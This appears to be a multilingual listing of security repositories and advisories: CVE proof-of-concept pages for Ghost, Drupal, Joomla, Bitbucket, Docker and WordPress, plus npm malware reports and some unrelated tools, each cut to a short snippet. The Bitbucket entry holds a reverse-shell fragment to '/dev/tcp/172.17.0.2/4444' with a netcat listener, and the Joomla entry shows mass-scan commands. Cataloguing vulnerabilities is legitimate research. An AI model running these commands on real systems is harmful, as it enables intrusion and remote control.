CVE-2026-26980-PoC

CVE-2026-26980 — حقن SQL أعمى في واجهة برمجة تطبيقات المحتوى لـ Ghost CMS المتأثر: Ghost 3.24.0 – 6.19.0 تم الإصلاح في: Ghost 6.19.1 المصادقة المطلوبة: لا شيء — مفتاح واجهة برمجة تطبيقات المحتوى عام التأثير: قراءة غير مصادق عليها لقاعدة البيانات بأكملها بيانات الاعتماد، مفاتيح API الثغرة يقوم...

roninforge-hono

roninforge-hono إضافة لـ Cursor لإطار العمل Hono v4 إطار عمل ويب حافة TypeScript + TypeScript. مثبتة على hono ^4.12.19، @hono/zod-validator ^0.8.0، @hono/zod-openapi ^1.4.0 مع zod ^4.x كـ peer، @hono/node-server ^2.0.3 Node 20+. تعلم واجهات برمجة التطبيقات الخاصة بـ v4 والتي لا تعرفها نماذج اللغة...

CVE-2018-7600

TRAN CONG DANH - SVTT - المرشد: LUU VAN LAN - CVE-2018-7600 - تاريخ البدء: 26/06/2024. جدول المحتويات: 1. ملخص CVE 2. المتطلبات الأساسية 3. تحليل CVE 4. التخفيف ملخص CVE يمكن للمهاجم استدعاء طلب Ajax من Drupal Form API يحتوي على دالة calluserfunc للتنفيذ التلقائي دروبال قبل 7.58، و8.x قبل 8.3.9،...

CVE-2023-23752

CVE-2023-23752 - إعادة إنتاج ثغرة الوصول غير المصرح به في Joomla استخدام السكربت تثبيت مكتبات بايثون pip install -r requirements.txt التحقق من الثغرة python3 CVE-2022-26134check.py -u url -c whoami المسح الجماعي python3 CVE-2023-23752.py -f urlpart.txt الإصدارات المتأثرة 4.0.0 = Joomla = 4.2.7...

Atlassian-Bitbucket-CVE-2022-36804

Atlassian-Bitbucket-Server-CVE-2022-36804 تم اكتشاف ثغرة أمنية خطيرة لحقن الأوامر في عدة نقاط نهاية API لخادم Bitbucket من Atlassian ومركز البيانات. تؤثر هذه الثغرة على جميع إصدارات Bitbucket Server و Data Center التي تم إصدارها قبل الإصدارات & /dev/tcp/172.17.0.2/4444 0&1" بدء مستمع netcat...

CVE-2025-9074-Docker-Desktop-API-Escape-PoC

🐚 docker-shell Un script bash léger, sans dépendances, qui vous offre un shell interactif émulé à l'intérieur d'un conteneur Docker — en utilisant uniquement curl, dd, od et awk. Pas de Python, pas de jq, pas d'éditeur requis. Conçu pour des environnements où vous n'avez qu'un accès shell brut et...

CVE-2026-71204-PoC

CVE-2026-71204 — changedetection.io : une case à cocher omise lors de l'enregistrement dans /settings désactive silencieusement l'application de la clé API Produit : dgtlmoon/changedetection.io — v0.55.7 Fichiers : changedetectionio/blueprint/settings/init.py, changedetectionio/forms.py CWE :...

wp2shell-lab

mini-wp-rest إعادة تنفيذ مدمجة وخالية من التبعيات لجزء صغير من واجهة REST API الخاصة بـ WordPress — تكفي فقط لخدمة مجموعة منشورات عامة وتشغيل عدة طلبات فرعية في رحلة ذهاب وإياب واحدة. مفيدة لتعليم كيفية عمل توجيه WordPress و WPQuery و $wpdb معًا دون الحاجة إلى تحميل كل النواة. النقاط النهائية...

MAL-2026-17561 Malicious code in insomnia-plugin-api-lint-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3572e41f2e2e83a3156c1b24bf8684c0149a508e45626e80c592657cfb475ba index.js, the package's main entry, runs at require time with no user interaction. On load it spawns OS-native calculator processes via...

Malicious code in insomnia-plugin-api-lint-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f3572e41f2e2e83a3156c1b24bf8684c0149a508e45626e80c592657cfb475ba index.js, the package's main entry, runs at require time with no user interaction. On load it spawns OS-native calculator processes via...

API-attack-detection-with-AI

Detection of SQL/XSS Attacks on Web API with Artificial Intelligence / Machine Learning This project aims to detect SQL and XSS injections in API requests/params using machine learning. Project Overview This project aims to detect SQL and XSS injections in API requests and parameters using Machin...

Malicious code in api-nebula (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8232ec7756422686c2bce805fc87821e61a5bd9176cdb2fe7c3190fd2b2eae2 The package declares "preinstall": "node preinstall.cjs" in package.json, and preinstall.cjs is a single-line 187 KB Function"pbeIUC", "…" invocation...

MAL-2026-17531 Malicious code in api-nebula (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b8232ec7756422686c2bce805fc87821e61a5bd9176cdb2fe7c3190fd2b2eae2 The package declares "preinstall": "node preinstall.cjs" in package.json, and preinstall.cjs is a single-line 187 KB Function"pbeIUC", "…" invocation...

CVE-2026-23550

🧨 CVE-2026-23550 – Contournement Admin Modular Connector Connexion administrateur WordPress non authentifiée via le paramètreorigin=mo Plugin Modular Connector ≤ 2.5.1 📖 Description Le plugin Modular Connector pour WordPress versions ≤ 2.5.1 contient une vulnérabilité critique de contournement...

CVE-2026-63030

LANGZ — Outil d'exploitation wp2shell Auteur : LANGZ CVE : CVE-2026-63030 Chaîné avec CVE-2026-60137 Sévérité : Critique CVSS 9.8 Type : Exécution de code à distance pré-authentification RCE ⚠️ Avertissement Cet outil est fourni strictement à des fins éducatives et pour des tests de sécurité...

mcpjam-to-root

⚠️ Avertissement Ce dépôt est destiné uniquement à la recherche en sécurité autorisée, aux tests d'intrusion et à des fins éducatives. N'utilisez pas les techniques décrites ici contre des systèmes sans autorisation explicite. ⚡ MCPJam → Root De la RCE de MCPJam Inspector au root — CVE-2026-23744,...

crypto-lab-merkle-proofs

crypto-lab-merkle-proofs What It Is This is an interactive demo of Merkle trees and Merkle inclusion proofs , built on SHA-256 via the browser's WebCrypto API. A Merkle tree hashes a set of data blocks into a single root hash that commits to all of them at once; an inclusion proof is the short li...

westone-CVE-2020-17519-scanner

westone-CVE-2020-17519-scanner Apache Flink 1.11.0、1.11.1、1.11.2 يمكن للمخترقين قراءة/كتابة الملفات عن بُعد عبر REST API التثبيت والاستخدام git clone https://github.com/Osyanina/westone-CVE-2020-17519-scanner.git cd westone-CVE-2020-17519-scanner cmd CVE-2020-17519.exe...

bruno

Bruno - IDE Opensource pour explorer et tester des APIs. English | Українська | Русский | Türkçe | Deutsch | Français | Português BR | 한국어 | বাংলা | Español | Italiano | Română | Polski | 简体中文 | 正體中文 | العربية | 日本語 | ქართული | हिन्दी Bruno est un nouveau client API, innovant, qui a pour but de...

CVE-2026-105223 maclof kubernetes-client 0.17.0 before 0.32.0 Disabled TLS Certificate Verification

maclof kubernetes-client 0.17.0 before 0.32.0 disables TLS certificate verification in parseKubeconfig and parseKubeconfigFile when a kubeconfig lacks certificate-authority-data, ignoring insecure-skip-tls-verify. On-path attackers can impersonate the Kubernetes API server to capture Bearer token...